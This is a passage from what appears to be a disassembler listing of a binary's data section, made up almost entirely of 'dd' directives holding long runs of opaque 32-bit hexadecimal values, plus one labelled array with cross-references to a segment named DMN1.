dd 69CDA730h, 872A3593h, 9547524Ah, 56401A3Ch, 75EF02A1h
dd 0E2E093Fh, 0F3970490h, 0CBA6B920h, 0DB9552B7h, 187C4F78h
dd 819295BBh, 2CC3674Ah, 81478B3Dh, 6E5965ACh, 1BD27A1h
dd 0C467C31Bh, 0A182C4A3h, 47CDD3A0h, 0FECB6481h, 5C374C72h
dd 29BDA6F3h, 0AEE2FD72h, 56DA4C8h, 7434E3A6h, 7D663950h
dd 0A0890071h, 1B032FA9h, 714CD9E5h, 6A9D1714h, 0A7559385h
dd 0C14A0D26h, 0E14D0B62h, 0F3E2C119h, 91E636F7h, 97B46C43h
dd 0A6B3CACEh, 0AC97E992h, 8B4D0932h, 92AF9C8Fh, 3EA6B224h
dd 4407B834h, 11053884h, 83FCEC7Dh, 49FCE5B3h, 96E80692h
dd 18AA7C6Ch, 76CC9EF5h, 0BBEA4603h, 8FA2671Ch, 50CA5635h
dd 0B2CF32FBh, 5E6AED47h, 36D518F3h, 6895E465h, 8A1038CDh
dd 0B22152E1h, 44F761A7h, 52B6B275h, 0A254EEB1h, 6D7DD3F1h
dd 0FFE9C576h, 0E0A16245h, 604D4CBh, 9D22F727h, 5AE04D4Bh
dd 5D9ACA9Dh, 0B2FD23C2h, 9E1780D8h, 92D3DC99h, 7ACFFCABh
dd 0CE4416A4h, 0F6DAAED7h, 0D3064640h, 1107709Bh, 973C0F02h
dd 289AC18Ch, 0E9FC8F53h, 0C2A6E767h, 0D7393194h, 631C4B96h
dd 8768F2AEh, 68BFA13Eh, 823CCD89h, 9914EFECh, 0E5A14379h
dd 0B0CAEC4Ah, 81D31832h, 0BEF4E404h, 817A4FB5h, 6E738FA6h
dd 0E3DDF8CFh, 0FFCCD383h, 4DEE8774h, 97047084h, 58B6774h
dd 6F5A9122h, 0D531A57Bh, 1559A098h, 1BE8AC8Fh, 0B05996Bh
dd 0D3D4027Dh, 1E5DE91h, 1513EE1Bh, 0F6CDE832h, 0D873B685h
dd 297A45B6h, 0EF8E2DCh, 5B468A8Ah, 0E442DC83h, 0FBF6873Ah
dd 595A75D3h, 0F091BF42h
dd 54B69BA7h, 0F237A998h, 0E4B19F4Dh, 5EFE0DAAh, 30C24B7Eh
dd 17F413DAh, 53CFB58h, 3030AF62h, 8E2DC696h, 5D0EF7E4h
dd 9A24B830h, 5C42B2EDh, 5EE67F02h, 16159F92h, 7D54DAB7h
dd 9C5C08DFh, 18CC265Dh, 659AE7E6h, 3AB5D5C0h, 1F4C3DE1h
dd 28E2C7EDh, 0F4E40FDh, 0DD5D414h, 53DA40DDh, 0DB90E525h
dd 1CC8BF62h, 0DAA18B1Ch, 1526F2FCh, 0E4102EAEh, 12C0A72Ah
dd 9DC6E7D9h, 236D77D1h, 0A05BBCBh, 5DD4CF53h
dword_455000 dd 585D3771h, 0CA6B251Ah, 0E581437Eh, 0C2028C4Eh, 8623D43Eh
; DATA XREF: DMN1:00442FA0o
; DMN1:00453478o
dd 7E33EDEBh, 0BD45D1h, 0C2E0DEEAh, 62BFEB44h, 0ADF7D9E7h
dd 0A569D576h, 526A1531h, 25CAA4B7h, 0E07BF4ABh, 0EE4DDBDDh
dd 98DA4967h, 2E052BAEh, 43B32174h, 6F218579h, 80C34919h
dd 9393FFC0h, 63DA3F85h, 9B42B0B9h, 7A1566h, 64F79F2h
dd 5E30C9B5h, 68C791ADh, 0EC600E9Fh, 6172F7F6h, 202EEAD4h
dd 89EF4B68h, 47942203h, 1068E82h, 0DD8A3DA8h, 46937BBDh
dd 9FBC35DEh, 0D5B1FBB1h, 0BDB7D88Ah, 93AC5D3h, 0FAB74B50h
dd 55EB391h, 3C7D99B8h, 3F74EA18h, 28A31AC3h, 23E865AEh
dd 0C1D582DFh, 6ECD591Bh, 0D8090E1Ah, 0B331FD0Ah, 0C02A8DC5h
dd 0A7107F54h, 7E281980h, 0F4DD2C15h, 0F6DAEC3Fh, 269E5C85h
dd 2A7AAAF2h, 0E53BF9F1h, 3B334748h, 0EA154BA4h, 94D246BCh
dd 614D6E01h, 36D84E1Ah, 0E66ED2DDh, 0C594E61Eh, 0F1B22C9Eh
dd 0D7D302D4h, 353268BDh, 0CB62F9DBh, 5E500B16h, 0CFBB4F16h
dd 8C732DD7h, 0AE800096h, 7150098h, 3475A51Ah, 39BDF50Bh
dd 528016A5h, 600B6730h, 0B7C2F728h, 9BE16602h, 111EEC5h
dd 7B6DDEDh, 84B31A7Fh, 5743D4EAh, 0D45AF074h, 82935782h
dd 0CF019028h, 7F2EFE2Bh, 0CABD599Ch, 87ABF9E8h, 0EBF02A2Ch
dd 0F10439Eh, 94DA8CDAh, 0FFB8BFF4h, 0F848EA3Ch, 0D9A10131h
dd 7FCFCCB6h, 545101D5h, 0ACAAADA0h, 4B013F17h, 0C627A17Dh
dd 0B7BEBDBBh, 94352666h, 45FB355Ah, 25808B5Bh, 0B62CDB46h
dd 9964D1E2h, 0C60309EFh, 5579DE4h, 0E5210128h, 0F1030798h
dd 1B64F6FAh, 0ED15EF0Ah, 0B54A46A3h, 0F615256Eh, 0B72B0ADFh
dd 0C82E01AEh, 78586E43h, 8A2017B0h, 0DF01BC31h, 65F210F3h
dd 0AEA58A3h, 2AAD2683h, 0F0C6ADAh, 613F61DEh, 0D9503DFCh
dd 0FBC99608h, 3A7CACFFh, 8885A0BCh, 77C4B9Eh, 0E619EFC0h
dd 28D83759h, 1C43B89h, 0E16180B0h, 9ADD604h, 0F712DD6h
dd 90820097h, 11A41E4Dh, 0BD51AC6Eh, 8CB640C8h, 757E90Bh
dd 0D36C238Fh, 6C68C73Ah, 3F96F192h, 0C092F19Fh, 50FF263Ch
dd 27C7CF78h, 0C99B8539h, 0CFE479DAh, 1746831h, 432265E0h
dd 0FF9F5B7h, 0CC79C0ABh, 0A7B9F5E6h, 0A98DD9D3h, 867CAEC4h
dd 0A0E788D0h, 0D4DC0672h, 26DC4225h, 2FF983B4h, 27BF1BDBh
dd 871EFACAh, 0B47D8D5Bh, 7EFD5FF6h, 512838A6h, 5D7CC8EDh
dd 5485A495h, 0AB8DB051h, 1D8E7DE5h, 0B72428F9h, 536CA56Dh
dd 0C271C470h, 74626B1h, 0B34C3387h, 6C56CDF8h, 0A7752DF1h
dd 0D592DF3Ch, 1833BC91h, 730E5F95h, 9734D5AAh, 0FBA28049h
dd 65DB3BDFh, 0A1A52D67h, 0FF363982h, 0E6B3AE1Fh, 6CFC90B3h
dd 909ED53Eh, 375F1E56h, 18DC447Ch, 0DD2574A7h, 16E01B15h
dd 3AF5FEA8h, 9CC0C2BCh, 0BA079B71h, 59C9DDEDh, 0B2391B08h
dd 0F3D79173h, 4D097F1h, 0C7BA8617h, 5A22988Bh, 7F73DEA3h
dd 749ABE9Ah, 349756B4h, 3652B1E5h, 0B6BC27F5h, 0F6F73441h
dd 15A11F69h, 0EA315B21h, 0F5D9419Bh, 34024DEh, 0A8118BC1h
dd 0C39BCB76h, 3F5ECE6h, 0AEAF312Dh, 0E762D67Ah, 5F05F852h
dd 59F4CD65h, 0F5002AE2h, 0EF297DFBh, 0EAF3A974h, 0E71A9BFBh
dd 0FF95825Ah, 0B3975857h, 87C78236h, 0E8CF202Fh, 4B878A76h
dd 0A8F4D1D7h, 5DC93415h, 1218748Dh, 0CBB59135h, 6A8DA317h
dd 5CECB9DCh, 9EE98B9Eh, 2EC9D09h, 48F84E9Bh, 0BCA580B2h
dd 94AC46B2h, 9290D0Bh, 0BB280851h, 51CED141h, 83E45D41h
dd 5ECD4DA3h, 92D0C766h, 7B998929h, 12F32BE7h, 34DD8C6Fh
dd 3C4E2DFFh, 0B1753C03h, 0E281A00Eh, 7CF61114h, 0A13E72E8h
dd 1CC8EB9Eh, 81EC5822h, 75AF929Dh, 70D162CBh, 0F81775B3h
dd 57513ABCh, 0E39DC88Eh, 23F74676h, 522D8298h, 13080E8Fh
dd 2494DF5Dh, 4376262h, 0D885392Ah, 89078B09h, 0EBC9144Eh
dd 0CDD29966h, 12437BECh, 6CE31601h, 0BF37981Ch, 0E6728D41h
dd 0D24C431Bh, 7946DEBh, 5F477EC6h, 27CDE4CBh, 3649652Dh
dd 8DF6654Eh, 14DAFD7Bh, 0BCD75C1Fh, 1FFB1893h, 0B795DC89h
dd 83F24F82h, 5A185BEBh, 394B997Ch, 9125C8E7h, 0ED1A9E72h
dd 660C65F6h, 0FE588F6Eh, 4A1CD13Ch, 381692E2h, 92BC072h
dd 65C90586h, 3EFDB3DDh, 4409C4C8h, 0DF10BC09h, 49F82EC6h
dd 0C8170B67h, 7A38173Ch, 0DC534A58h, 0A076DCFFh, 2DF2ECB3h
dd 20E86467h, 2AD992E2h, 28BFBB7Eh, 72E6C02Eh, 59B8EAE1h
dd 67B78B70h, 0A1D3EE21h, 455D492Dh, 31571A95h, 7CD64979h
dd 0C21DD07Ch, 10371884h, 0EB401F16h, 0B19C386Ah, 69B67CEEh
dd 6FB92F87h, 41B858FDh, 9AF41C12h, 8996467Eh, 0AEE3AEA6h
dd 21AD57DDh, 8DBA9DDBh, 8C44CE08h, 0C1976EE7h, 1CD6E7BDh
dd 0CF58ACE8h, 816E3985h, 34EE8B9Ah, 2DC582C2h, 44F3099Ch
dd 0ED8D7CBEh, 0BD774CE3h, 89886573h, 0AE5A02F4h, 2CB2BA93h
dd 941CF9F5h, 0A5A8800Eh, 4B0EE7h, 0BC4D8DBCh, 0C4E0EF2h
dd 0B9A802A5h, 0D32820C8h, 5B68B12Bh, 84CD3088h, 85C40AECh
dd 5EF7CEF6h, 964F8905h, 91955B0Ah, 0F00E02h, 895273FEh
dd 1C9576h, 0A37911D3h, 966D28Eh, 8EC4B141h, 994EEB17h
dd 8358D18Dh, 0FFA26ECAh, 78FCBF61h, 128FB053h, 0BBB90001h
dd 0C34A8ECFh, 7944D1FBh, 430CE71Dh, 0B46C5F24h, 0F0A899EFh
dd 0FF03222Bh, 0FB64E89Ch, 0E371C1A3h, 0C0A881DDh, 5F546161h
dd 62EF6336h, 4BA6A005h, 31D236C3h, 2342EEF0h, 0DB03916Ah
dd 0E1CD0460h, 96ECBFEFh, 0B19E3E61h, 9F374877h, 1A0BFC63h
dd 0E3344366h, 0FD3BC1D7h, 6714A0E7h, 0F58B75CAh, 0C604C571h
dd 7083852Bh, 91E1B03Ah, 0CC48322Dh, 2549A3BCh, 0F8E62C3Ah
dd 1C45A081h, 0D01EE70Eh, 2BC182D3h, 590B5A9Dh, 0F10194F3h
dd 522A1920h, 0C73DBEFEh, 64E20522h, 41F0504Fh, 0E4195492h
dd 0A8A7E97Ch, 0AC1808ECh, 4FECF928h, 0CE61C981h, 7777F9C5h
dd 0C64ED4EFh, 0D0653A36h, 88DDFCDFh, 0E5112965h, 0A572C47Ah
dd 96433894h, 96409B8h, 0D60C39CEh, 8AEDAE81h, 0B62E2CE3h
dd 0F8165D05h, 0DF975B4Dh, 0C7E03A7Bh, 0B1A1EF6h, 0AD2C02C8h
dd 6AA0ED3Dh, 0C0092F23h, 0BE73815Fh, 539D639Ah, 48C6E8C3h
dd 36A6B141h, 46E9F4F0h, 0EEB26374h, 0A668617Fh, 0DC79EF6Dh
dd 5BB1AB3Fh, 301D4A51h, 0C8B06D4Dh, 0EA943222h, 98D05F1Fh
dd 972F19D7h, 67044A74h, 8F0CB7CDh, 27044B7Bh, 5E40E903h
dd 83132ECDh, 4E50AD42h, 0ECE47AC9h, 0A0768BA7h, 0A7F37A02h
dd 7757D2F6h, 3C93D733h, 0CB710143h, 3A5E0DA2h, 6D9E78D4h
dd 96E9437Dh, 0CAA712E1h, 0BF3A6B0Ch, 0DA57AF50h, 3E049315h
dd 75FA67E7h, 0D7CEE8C3h, 8FAC30D5h, 0B1280C0Eh, 0C63DE173h
dd 628B6541h, 655A9C82h, 0C4B2B983h, 0DA71C072h, 73A8867Fh
dd 0BDA30358h, 86EF90BEh, 0EE65CDD0h, 605FF0F2h, 0C18D1A86h
dd 0D12B2E84h, 9A0D1D01h, 0F63DD518h, 0E2992EFAh, 0A93A86A0h
dd 0BE49F10Bh, 7325CFA6h, 893EAC55h, 30464D5Ch, 0A175E903h
dd 38140A8Eh, 518325A3h, 839C083Bh, 0ACD35E09h, 6F3CC109h
dd 577D805Dh, 6BB80210h, 6BAA0B66h, 81AAEFB7h, 65B20C6Ah
dd 2EE5C20Eh, 0B7F27C2Ch, 0A4618C83h, 9652FA8Ah, 223636E8h
dd 327FFF72h, 550F893Ah, 0C58B4E2h, 711582Bh, 5861CFEFh
dd 0B1D382A3h, 3314F332h, 0E2543AF9h, 6DAB617Ch, 8B61A8FCh
dd 0B572853Ch, 2ABF852Ch, 51F3F6FDh, 0AA2C3E96h, 4C254DABh
dd 30764BA3h, 0A115EE83h
dd 7E53088Eh, 0C1DE35EBh, 816434Ah, 11A826C8h, 70A08BF2h
dd 1708EF56h, 0B428835Eh, 3CC04CD1h, 69C92899h, 0F5B4B8BDh
dd 154112E1h, 8A278A2Dh, 0A6A2632Fh, 0F4F5F8ECh, 28B2BB21h
dd 45248326h, 0E5477922h, 3F2E89A9h, 136DEA41h, 3AA13D89h
dd 90FE74E9h, 6A40347h, 0A4805E45h, 0E1CE592Bh, 0D340BEB5h
dd 4927B0F4h, 96476B49h, 147531CCh, 7A1C4F32h, 0C045048Bh
dd 589EC10Eh, 0DC21C6F2h, 341E068Fh, 1FE6BE9Ch, 0DD46FB38h
dd 0A045B6E5h, 0C7CCB625h, 29F7D09Ah, 8BB2C53Fh, 85530866h
dd 3A336D51h, 8DF8A57Ch, 1575C10Dh, 3EB68077h, 2A5010B8h
dd 0DE265E07h, 0D4CDEBE0h, 552CD7AFh, 523B78C2h, 3F0E3E61h
dd 0D2EF7AB5h, 0D6C6A235h, 800E66D6h, 820CE287h, 0AE971E85h
dd 133E91A1h, 0EB4BD6FEh, 0A19B4509h, 96514ECEh, 0D4F2ACB8h
dd 7AF75236h, 26AB91Eh, 0BDE4C697h, 5F4787ABh, 379A8771h
dd 168E38A2h, 702146BDh, 3D4F12F8h, 6B6E4D8h, 9A90EAE8h
dd 64B23928h, 8F968B99h, 19102FD6h, 1A53A578h, 0EA4D81F7h
dd 78F8919Ah, 13FD9AB6h, 0C9218F01h, 5F4D5417h, 2D15FB80h
dd 0E1473F58h, 3CFC0A95h, 7F55E611h, 0CA7124D9h, 0B8BF8529h
dd 4029137Ch, 26EBFE41h, 0F7B318A4h, 6BA19CFFh, 5E652D79h
dd 0D5CF7A43h, 6E9134B7h, 4535636Dh, 779D3FD7h, 0E0545163h
dd 0D57714C3h, 1B04EA3Ah, 0CAEF712Bh, 77B6AEF4h, 6C23A172h
dd 2EB66D40h, 814747D5h, 94D6B928h, 5E7D3713h, 186C1730h
dd 324B9AB1h, 15A45060h, 3366F638h, 0A7970EA3h, 0AB04A3FAh
dd 5FC9278Ah, 0D3D9BACCh, 3A3DBC75h, 89B4FB16h, 3658BD7h
dd 244E5B61h, 84A8C8D7h, 0EF71F3FBh, 0EA310165h, 11EED2DCh
dd 0C8FD1572h, 0F86ABAE9h, 397BC093h, 797380A8h, 8500047Eh
dd 220EE007h, 3B385EB3h, 0FFDC4EC8h, 0C8575BD0h, 1D63B676h
dd 0AD029B98h, 0D34E4E8Dh, 4495B0Ah, 0E604B837h, 74D8DE92h
dd 6188CED1h, 14E47B4h, 1D21D790h, 45A27ED4h, 8719E6C1h
dd 0B78CE64Dh, 0FDE57F7Bh, 57E24508h, 0A6190753h, 6C3D0204h
dd 70B4E372h, 0FB100D3Ch, 3F13EFAEh, 1EA992F7h, 1339E6F0h
dd 0A467BB65h, 0EFA0CD6Ah, 0E0969D9h, 5E623D86h, 0D87CD5EDh
dd 13A1F515h, 0A1572276h, 0A8F90C81h, 0B5AEC71Ch, 41181A86h
dd 55E112FBh, 42E3613Fh, 7F9B0B7Dh, 77599175h, 0A9C35365h
dd 1D882F60h, 0B30DCBCFh, 41647546h, 2E776B53h, 8DC8A97Bh
dd 1555A747h, 303DA043h, 5838156Ah, 16B63747h, 57223DA1h
dd 0A11A00D3h, 76B24C3Eh, 8B8F56Ch, 479DC148h, 0FA2F9686h
dd 44896928h, 0B46D434Bh, 6CE4DE9Ah, 0BD9AE94Ah, 66E8C152h
dd 610FBAFEh, 1455001Ah, 5F4BA229h, 0FD47C4A8h, 0C79C7EAFh
dd 0FD13B2Dh, 41C7F1C6h, 89B64C76h, 0C4360D14h, 4EA56F0h
dd 0F2B92F0h, 70B674FDh, 1DE33850h, 0D87638FAh, 34A189DDh
dd 0D6839822h, 1A775B6Ch, 0D49CC8FDh, 8743D3F2h, 3CE07231h
dd 7B6184D5h, 0BFB5BD0Fh, 466DD2C3h, 15E57762h, 142BE768h
dd 600007BEh, 3D1ECFCh, 0AE698807h, 49A577C4h, 0A4EE52DFh
dd 49FAA6Bh, 70E7024Ah, 45094C66h, 64697AD5h, 70A50AC0h
dd 0C173312Dh, 8826152h, 2C1C493h, 61E4BD3Fh, 5461E577h
dd 5C5E56D7h, 7BE9F499h, 0D12F1239h, 773C04E9h, 0D94F182Fh
dd 27FCB807h, 514782F1h, 78911ACEh, 0A1132E85h, 0E8D82A12h
dd 7845A405h, 88C03D46h, 7AA144CCh, 5441D538h, 924DC50Ch
dd 0E207613Dh, 3A171EEDh, 68180020h, 0D67EEEFCh, 28B66115h
dd 0F0EC321Eh, 61144144h, 14DCCCDEh, 76F0517Eh, 0F470BAD8h
dd 0BBD36D59h, 71FE0AC8h, 0EFC8D0A3h, 368E4683h, 6F2B0EFh
dd 83EC7B80h, 0CA2B6DABh, 9DBC462Ch, 0FD62C3F5h, 63D22EC9h
dd 97A22CD4h, 0B0BCDC4Dh, 3834CB61h, 0B0A86F9Ah, 0F62B319h
dd 2510290Fh, 2481A949h, 0BE5ECD79h, 0AB9E074Bh, 730EBE91h
dd 0D5B8C8A8h, 0B215E73Fh, 0E098F335h, 0F3BF9DADh, 1CF2FFC2h
dd 7393E79Ch, 6E33ECC0h, 0A87E9AA7h, 9A94674Dh, 1096840h
dd 40F03E00h, 0E8703AD2h, 16D04533h, 0BC20AE51h, 8DF9F82Eh
dd 6FCD061Bh, 13093AECh, 0ECC80EFCh, 0A4D941DCh, 6149FEF3h
dd 0E617F885h, 98DBBD8Bh, 0E5424FF5h, 0DF066D6Bh, 6182015Eh
dd 1C9FEC89h, 3E60125Ah, 0E060767Ah, 97B5B906h, 4014B5C2h
dd 5B0F61B2h, 4BDF39DDh, 0AD34E093h, 0AD24A77Bh, 0E23003Dh
dd 8F88E68Ah, 60F805ADh, 0BBC44760h, 347F1F28h, 7E162CBEh
dd 1E171B5Ch, 0E9C886E6h, 64722909h, 0B7E44753h, 41A3A6EEh
dd 0D82E7C07h, 0A757C4F8h, 48B267BBh, 6D635D2h, 4057EA9Dh
dd 215E1484h, 9FEBD179h, 0D5471B79h, 172F2EE5h, 0B5FD1Dh
dd 248760EAh, 0E47422CFh, 9B9BEB49h, 79007FDFh, 0B573DD7Eh
dd 14BC58D4h, 0FA422C07h, 794DCD32h, 0A6776B1Eh, 0E5B7BD70h
dd 4BF3BF0Eh, 612D76E2h, 248CFEF9h, 0CD1F132Bh, 5439FB5Ch
dd 29EEF0A3h, 29F92CA7h, 666A5F45h, 0E736E19Bh, 771F648Dh
dd 6435AD37h, 0E87A957Ah, 69ADF52Bh, 0C4A046FAh, 8BD87839h
dd 13FECA8Ah, 40880CC6h, 0DD65EE31h, 422579E8h, 0D5FFFB65h
dd 0C5A6DEEAh, 2667128Ch, 0BCE5B8A0h, 0B28B456Ch, 441090F2h
dd 0BE7C1D3Bh, 358054D8h, 14476454h, 7F171210h, 0F454BAC0h
dd 3C6E78F2h, 0C1F7B84Fh, 5795B1A0h, 0BA557686h, 0DF5E4B05h
dd 99283DC1h, 5BD61AB5h, 9CAC4D7h, 30124A7h, 0EFA7E45h
dd 0E7C90FF8h, 7571F056h, 5A69C0B8h, 0D9C37A81h, 0AFE512h
dd 0E45FC44Bh, 0CFC03459h, 0D3CECB56h, 0BF5906AEh, 5F1E9587h
dd 18B39E06h, 0B5E81C9Ah, 9E97C53Dh, 1E8A6BA5h, 910DEAB5h
dd 787F68h, 0E9F47CE7h, 0E991F803h, 0E5840C12h, 911F1866h
dd 785D6E7Dh, 0C0CEE86Dh, 6CE004F1h, 0BBDEBD5Dh, 23113AB3h
dd 17437ED8h, 56E04852h, 0B72FF6B9h, 7A16E8D8h, 0D2D30D28h
dd 6CC1CF25h, 5A6A4EA9h, 0E6C9FE57h, 0CE98647Bh, 7E763ECFh
dd 0D4198A71h, 9BB1F4EFh, 7B67C5B6h, 0D6A5E386h, 32212CDDh
dd 0BCC38B07h, 0A7954E86h, 1F480E67h, 1512DFDBh, 985A0126h
dd 8B00F4Ah, 3569D69Fh, 238C4A0Bh, 11B3B4B8h, 4137A786h
dd 0E9283656h, 0EB81AEBAh, 4A5A29FDh, 0E394FAC8h, 4D18BE4Bh
dd 4F83C228h, 0B1EDC4A8h, 0DEAE52E5h, 1752EC85h, 298157C0h
dd 7B360194h, 32AA467Fh, 796C664Ah, 0B715A177h, 1A3E59FBh
dd 0F44270C2h, 0F053C092h, 5D287BAEh, 884C0C9Fh, 0B498E2E5h
dd 0B4807771h, 6A08762Eh, 0BF2863ABh, 0A65DC6C2h, 0DD3399D9h
dd 63E22623h, 9ED1EEFEh, 0AC4D71C6h, 41856A8Ah, 0FBA1CF63h
dd 0F43F686Ch, 7FA21B28h, 3F0B703h, 589AEC1h, 630EFC88h
dd 0B981DAFEh, 0BD677986h, 4D465AEBh, 5C10B100h, 0F0A8FA5Dh
dd 8086640Dh, 2727C3D5h, 6B04C277h, 0B561809Ah, 26F90CA5h
dd 606A17C8h, 91091C4Bh, 83AF162Bh, 0E1773AB4h, 899E5F57h
dd 0F080BC94h, 0ADCD67D3h, 0F4BDB2CDh, 0C1C4E808h, 0BFF79F23h
dd 0D41BC780h, 0B1481EF8h, 0E0CCA67Dh, 518B772Dh, 0B215C494h
dd 6EC210ADh, 26CD8CA8h, 0AE562E1Dh, 0C5D67220h, 9BCF297Ch
dd 0E311016Eh, 406EA6F3h, 7F504C0Fh, 0BCDB44EDh, 4D5648EFh
dd 2487C7C6h, 936E602h, 0FA370AEDh, 894808F4h, 1E0CEFD1h
dd 0E1DE0117h, 0F579FB81h, 170DFA28h, 255651EDh, 4356DCh
dd 0AAFFC0C4h, 0D11A7B51h, 7548E201h, 9B6FD924h, 0CB445D33h
dd 6E987755h, 37E8674Dh
dd 0DC398DF6h, 32B26B02h, 89E8B736h, 76A5473Eh, 9C729Bh
dd 17E8693Fh, 0E2628F6Eh, 0D1342641h, 85A4DF3Fh, 0DF38BE4Bh
dd 0EB9D31BCh, 6FEF3FF2h, 0DB506E0Bh, 0B0DB04E1h, 4DA76D92h
dd 0B3B1D09Ch, 0C2F0555Dh, 0E80BAF52h, 0E2D8F6BFh, 4599F77Eh
dd 0C53944Eh, 8FD5FCBDh, 167B7B5Dh, 2D2D9DA7h, 0BA9A81DCh
dd 0B8D23AB2h, 998852Eh, 0D062801Ch, 0D439C1F0h, 9C524F3Ch
dd 0FC9ED8AFh, 7A413E14h, 2B6ABFF7h, 5CF57D8h, 0FF65B732h
dd 87612952h, 0ACA4388Bh, 20FF6901h, 8B9C3F31h, 95B1C698h
dd 0C03126D8h, 98304306h, 0FC2A06C6h, 84ED0E8Eh, 50D94184h
dd 3FAF7D03h, 0B634FD9Bh, 2E0B052Fh, 0A6F6B1BDh, 3157536Ch
dd 2F297FC0h, 0E391CE3Dh, 95E6F1E8h, 0E2B3F4A5h, 0E9EA1F8Dh
dd 3602DC91h, 0AE1AD6DCh, 9D0FCE5Bh, 8B667B49h, 0A52F7B62h
dd 0DB77C2E0h, 535D3524h, 9D7D154h, 0C868E34Bh, 56627569h
dd 2BB26901h, 29E8B72Eh, 9EA59921h, 0B74C38BBh, 710074E2h
dd 679DF495h, 19E156E7h, 7FA4D185h, 23B99BD2h, 1D0F0EBDh
dd 78ED9482h, 8A3E5AF6h, 0BD22F139h, 8E47C9C7h, 5B8A4E39h
dd 0D6808F22h, 48D2FE6Ah, 10A40CCAh, 337A08FCh, 4A96E063h
dd 4CAE675Ah, 602DEF76h, 0A40A9D15h, 3232D527h, 1C3DCAB8h
dd 0CE95D4A2h, 0E7EDFB31h, 60189EFh, 0A4624F3Dh, 0E403AB26h
dd 0D6D898ADh, 0D41EA16Ch, 27341D18h, 99D7CDDDh, 291293A1h
dd 6C439758h, 0E4509EE5h, 946171DDh, 66BEF867h, 0BFBCE85Dh
dd 0E1BD8E77h, 0EB856EBAh, 6CEC7358h, 442BBD59h, 0BC3D7FF9h
dd 4D4D48CFh, 249FFF86h, 32DA6782h, 0E496EB12h, 2C9DEBE3h
dd 74A9F173h, 6536CA46h, 0B58FCB2h, 61B3A79Dh, 3031C197h
dd 74F5F9DCh, 6C854560h, 5070C46Eh, 7B43768Bh, 5903C11Fh
dd 0CB7A4B26h, 0F53D21A8h, 379798A9h, 0D325B1EAh, 0F5DFB21Ah
dd 0DC1748ECh, 35FBC355h, 14112BADh, 0D2E51E15h, 2DCE7E74h
dd 314DCE9Bh, 3C31DEE9h, 1BEF5560h, 0D7F3D8C4h, 0C999C98Ch
dd 0FE596567h, 0D176AB8Ah, 0B24291A5h, 0AE03CDA0h, 4D10C04Ah
dd 56349372h, 80EC60CBh, 0E278B760h, 0B6DFB4E8h, 2E5E63DFh
dd 0AEE0CEF7h, 269789EEh, 43014409h, 2DC805C8h, 2BFD8725h
dd 0E421768Ch, 944FB5E3h, 0AB615889h, 0B5F8D154h, 331339A3h
dd 7DDD1482h, 360762h, 0DA17483Dh, 8FF2CADEh, 0ECB3A3B1h
dd 0D9006D9Fh, 0B4EB9ED8h, 94385564h, 3FA4D1A6h, 0E03F1609h
dd 147A98ECh, 0E8693E1Ch, 0B92BFB10h, 45A3B7B2h, 3BBDC080h
dd 24854656h, 0C619F842h, 6C2F6F6Dh, 0B61826ECh, 0E2D95701h
dd 0F0FD16E8h, 0F7155426h, 14855B14h, 259406EDh, 4D0105B1h
dd 0FE862D1Dh, 0B79D94AEh, 39E3F345h, 0E7E30FB8h, 0B61FA1B0h
dd 0AD392CDEh, 3328677Fh, 424E23AFh, 0B9B26FE9h, 8BE8B706h
dd 4A90836Dh, 3884404h, 95855066h, 596288E7h, 0D342E1Bh
dd 9A4D325h, 1BCF8A09h, 9DF9CDh, 7F04E97Bh, 0DDD424DAh
dd 0C670F927h, 0FC84098h, 2484C997h, 84AB80F7h, 0FE89EC5h
dd 0D12CCE40h, 9840D488h, 8A691A57h, 8AAB34Ah, 2F77C6CEh
dd 912C8912h, 1600E912h, 0A9F90314h, 0DF3342AEh, 0FDF59974h
dd 0BBCB5264h, 0F417E025h, 794C2CDEh, 525E37D0h, 299E6290h
dd 0E0CA226Ah, 0F399A0A3h, 94949CFDh, 0B4C31FDh, 3E68C420h
dd 0C38D7782h, 51B195BBh, 44316B83h, 9B542B00h, 7C2A56CDh
dd 84ECC962h, 0BB2B3B9Bh, 62CEEAAAh, 37453F44h, 8D794B33h
dd 0D2C9C715h, 0E63F5FEDh, 0D008207Fh, 0C742BEDBh, 9C5EF117h
dd 516ABB6Ah, 0B46833C4h, 9B3B46EDh, 0B6442CAEh, 47EFBAB2h
dd 0DB7BEEAEh, 16B77331h, 641BB309h, 49A535DAh, 977BC6AFh
dd 0F7D56750h, 5CDE494Ch, 0E7CC61E8h, 31412184h, 56A5B7F9h
dd 70A706D5h, 6BBBF893h, 9A756498h, 0E8B1A72Bh, 70DEBB82h
dd 0DDCF5572h, 0EB85E9A8h, 0EEA8BC9Ah, 339169F1h, 45A371F6h
dd 0E2BB40A8h, 0DB41790Bh, 0DE2413DDh, 0F087EB26h, 5479DEBFh
dd 0E21827E0h, 5EF61547h, 5B7AC35Ah, 0F5B71AF5h, 0FA9BB102h
dd 8F836923h, 80579341h, 0C5708484h, 0AF168FF1h, 4734D51Eh
dd 8B09150Bh, 0C762D14Bh, 7044685Bh, 7FE1B694h, 0EE9D713Bh
dd 99D779EDh, 0BC2CC7B3h, 8A1905A9h, 79EC1105h, 589D74D8h
dd 1476F1CDh, 3FA4C9B7h, 6430A677h, 64FF7E4Bh, 86134699h
dd 0B3910FF7h, 0C653B92Bh, 552CC0A0h, 33763687h, 0D2E6BB57h
dd 7D72E00Bh, 5A07DD3Fh, 987ED2CDh, 8A09064Fh, 2376230Ah
dd 9DBD9E9Dh, 0D9C5A391h, 352FF2CBh, 4E71C4Dh, 571BC258h
dd 2281F11Eh, 24022509h, 0DE9239DAh, 301144A5h, 44573BD4h
dd 0B6199Ah, 6C37E2E2h, 71442Dh, 0AD5AC060h, 0F44CC43Bh
dd 248998C5h, 0E4628A78h, 0F1A54673h, 0AA53DCDBh, 6D56A28Dh
dd 0EB85EFA9h, 0D8692498h, 322B5B06h, 0C6D8281Bh, 4D57D5B8h
dd 24886236h, 210CC6E2h, 0E6F36904h, 0D1E02236h, 0E287594Fh
dd 76060AE8h, 61FCD35Ah, 0E66CB4C2h, 0C8EA46FAh, 0F15AB023h
dd 0FFBE4508h, 787005EBh, 0F6ED7130h, 4924BDA4h, 43523498h
dd 0D55122F0h, 0BB884EF8h, 0A79DC002h, 58B8648Ah, 2C4758A0h
dd 5CA5B543h, 0F64F4FB2h, 6E6618FDh, 2D93655Bh, 17B12ADFh
dd 2A5BB19Eh, 14B533A2h, 4484B6D3h, 8886990Ah, 0EB570176h
dd 10E554CDh, 72C23F4Fh, 33273BCEh, 0D2EAB825h, 706A8DCh
dd 87E82CC1h, 1D0DE6E0h, 58DC1907h, 5033DB5Ah, 73617AF7h
dd 383AC67Eh, 2105C173h, 0C2D1454Dh, 0E1738451h, 0C6D69Dh
